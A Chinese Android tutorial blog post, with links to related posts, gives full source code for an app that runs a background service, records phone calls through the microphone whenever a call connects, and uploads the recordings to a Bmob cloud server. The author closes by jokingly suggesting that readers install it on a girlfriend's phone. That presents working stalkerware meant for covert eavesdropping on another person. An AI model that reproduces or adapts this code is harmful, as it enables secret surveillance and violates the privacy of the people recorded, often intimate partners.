Android实战简易教程-第五十五枪(窃听风云之电话录音上传)

前一段时间我写过一篇关于短信监听的文章Android实战简易教程-第四十枪(窃听风云之短信监听),话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传。这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音。

一、配置bmob

配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下:

然后配置权限:

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>

然后在代码中初始化:

package com.bmob.example;
import cn.bmob.Bmob;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
         // TODO Auto-generated method stub
        super.onCreate(savedInstanceState);
         // 初始化 Bmob SDK
        // 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID
        Bmob.initialize(this, "Your Application ID");
    }
}

这些在官网的快速入门中都有,大家可以自行学习,下面我们来看一下代码实现。

二、代码实现

1.MainActivity.java:

package com.example.detectdemo;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		 Intent intent = new Intent(this,PhoneService.class);
	        startService(intent);
	}
}

MainActivity.java就是启动了一个service,下面我们看一下这个service:

package com.example.detectdemo;

import java.io.File;

import cn.bmob.v3.Bmob;
import cn.bmob.v3.datatype.BmobFile;
import cn.bmob.v3.listener.UploadFileListener;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

	private TelephonyManager tm;
	private MyPhoneStateListener1 listener;
	private MediaRecorder mr;

	@Override
	public void onCreate() {
		super.onCreate();
		Bmob.initialize(this, "043e93c00763edf4ba390e9031775656");

		tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		listener = new MyPhoneStateListener1();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

	}

	private class MyPhoneStateListener1 extends PhoneStateListener {
		public void onCallStateChanged(int state, String incomingNumber) {
			switch (state) {

			case TelephonyManager.CALL_STATE_IDLE://闲置状态

				if (mr != null) {
					// if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){
					mr.stop();
					mr.reset();
					mr.release();
					mr = null;

					// }
				}
				break;
			case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听

				try {

					mr = new MediaRecorder();
					mr.setAudioSource(MediaRecorder.AudioSource.MIC);
					mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

					String fileNameString = System.currentTimeMillis() + ".3gp";
					File file = new File(
							Environment.getExternalStorageDirectory(),
							fileNameString);
					String filePathString = file.getPath();
					mr.setOutputFile(file.getAbsolutePath());

					mr.prepare();
					mr.start();
					upload(filePathString);

				} catch (Exception e) {
					e.printStackTrace();
				}
				break;
			case TelephonyManager.CALL_STATE_RINGING://响铃状态

				break;
			default:
				break;
			}
		};
	}

	@Override
	public IBinder onBind(Intent intent) {

		return null;
	}

	/**
	 * 将文件上传
	 *
	 * @param filepath
	 */
	private void upload(String filePath) {
		final BmobFile icon = new BmobFile(new File(filePath));
		icon.upload(this, new UploadFileListener() {

			@Override
			public void onSuccess() {//上传成功!
				Cheat name = new Cheat();
				name.setName(icon);
				name.save(getApplicationContext());
			}

			@Override
			public void onProgress(Integer arg0) {

			}

			@Override
			public void onFailure(int arg0, String arg1) {

			}
		});
	}

}

最后配置权限:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.detectdemo"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="21" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 -->

    <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name="com.example.detectdemo.PhoneService" >
        </service>
    </application>

</manifest>

主要用到了TelephonyManager 电话管理类和MediaRecorder  录音类,也比较简单,录音结束后通过Bmob的upload方法上传文件。

运行本实例,然后打电话给10010进行测试:

点击文件名即可将文件进行下载:

好了,自此功能就实现了。可以把它装到你女票的手机上了!哈哈,谨慎而为之啊!概不负责。

喜欢的朋友请关注我和我的公众号!谢谢

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-10-12 13:41:18

Android实战简易教程-第五十五枪(窃听风云之电话录音上传)的相关文章

Android实战简易教程-第三十九枪(第三方短信验证平台Mob和验证码自动填入功能结合实例)

用户注册或者找回密码时一般会用到短信验证功能,这里我们使用第三方的短信平台进行验证实例. 我们用到第三方短信验证平台是Mob,地址为:http://mob.com/ 一.注册用户.获取SDK 大家可以自行注册,得到APPKEY和APPSECRET,然后下载SDK,包的导入方式如截图: 二.主要代码 SMSSendForRegisterActivity.java:(获取验证码页) package com.qiandaobao.activity; import java.util.regex.Mat

Android实战简易教程-第三十五枪(将二维码扫描和生成Demo引入项目实例)

网上有很多关于二维码扫码和二维码生成的Demo,你可能不想透彻的了解它是如何实现的,但是你必须要知道如何引入到你的项目之中,我们研究一下如何将这些Demo引入到自己的项目之中. 我也写了一个Demo,看一下它的目录结构. 这些打红色箭头的部分都是必须要复制到你的项目之中的.引入到你的项目之后会有一些报错,你可以根据错误提示进行修改. strings里面有一个字段要加入到你的项目之中 colors.xml中有一些你也要复制过去,还好他们都会报错提醒你. 下面我们看一下Demo的代码: 1.Main

Android实战简易教程-第四十八枪(App引导页面效果实现)

经常使用APP的童鞋会发现,第一次进入APP会有引导页面,里面可以放一些APP的使用介绍或其他信息等等,下面我们研究一下如何实现这个功能,增加APP的体验. 一.自定义控件继承ViewGroup: package com.genius.scroll; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.util

Android实战简易教程-第四十九枪(两种方式实现网络图片异步加载)

加载图片属于比较耗时的工作,我们需要异步进行加载,异步加载有两种方式:1.通过AsyncTask类进行:2.通过Handler来实现,下面我们就来看一下如何通过这两种方式实现网络图片的异步加载. 一.AsyncTask方式 1.main.xml: <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.co

Android实战简易教程-第三十六枪(监听短信)

一般用户喜欢用手机号作为用户名注册APP账号,这时一般都是通过手机验证码的方式进行验证,下面我们就研究一个非常实用的方法,通过监听短信-实现短信验证码的自动填入,提高用户体验. 首先我们看一下如何监听手机短信. 一.获取短信全部内容 1.新建一个SMSBroadcastReceiver: <code class="hljs java has-numbering"><span class="hljs-keyword">package</s

Android实战简易教程-第六十六枪(结合SharedPreferenced实现自动登录功能)

我们使用的一般应用都有记住密码.自动登录功能,这样不用用户每次都要点击登录按钮,提升用户体验,下面我们通过一个实例研究一下如何通过android的sharedpreferenced实现自动登录功能.本实例有三个界面-登录界面,跳转界面,登录成功界面. 1.登录界面: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.andr

Android实战简易教程-第四十六枪(自定义控件体验之罗盘)

前言 作为一名有创新意思的开发人员,你迟早会发现内置的控件会满足不了你的想象力. 拥有扩展已存在的视图.组建复合的控件以及创建独特的新视图能力,可以创建出最适合自己应用程序工作流的有优美用户界面,让用户得到最优的体验. 创建新视图的最佳方法和希望达到的目标有关: 1.如果现有控件已经可以满足希望实现的基本功能,那么只需对现有控件的外观或行为进行修改或扩展即可.通过重写事件处理程序和onDraw()方法. 2.可以通过组合多个视图来创建不可分割的.可重用的控件,从而使它可以综合使用过个相关联的视图

Android实战简易教程-第六十九枪(自定义控件实现雪花飘落效果)

现在APP要求越来越高了,不只是要求实现功能,颜值的要求也越来越高,下面我们通过自定义控件来实现雪花飘落的效果,可以作为界面背景哦. 1.自定义控件: package com.test.a; import java.util.Random; import android.content.Context; import android.content.res.Resources; import android.graphics.Bitmap; import android.graphics.Can

Android实战简易教程-第六十八枪(android小工具appwidget之时间显示)

Android AppWidget开发不同于普通的android应用,因为AppWidget是运行在别的进程中的程序.其使用RemoteViews更新UI.一旦系统发生变更,很容易引起AppWidget的更新.其支持的组件有限,事件类型也很少.所以一般用于更新周期较长,事件比较简单的用于桌面显示的组件.其开发流程相对来说还是比较简单的.大致分为: 1:编写布局文件 <?xml version="1.0" encoding="utf-8"?> <Te

Android实战简易教程-第三十六枪(监听短信-实现短信验证码自动填入)

一般用户喜欢用手机号作为用户名注册APP账号,这时一般都是通过手机验证码的方式进行验证,下面我们就研究一个非常实用的方法,通过监听短信-实现短信验证码的自动填入,提高用户体验. 首先我们看一下如何监听手机短信. 一.获取短信全部内容 1.新建一个SMSBroadcastReceiver: package com.example.messagecut; import java.text.SimpleDateFormat; import java.util.Date; import android.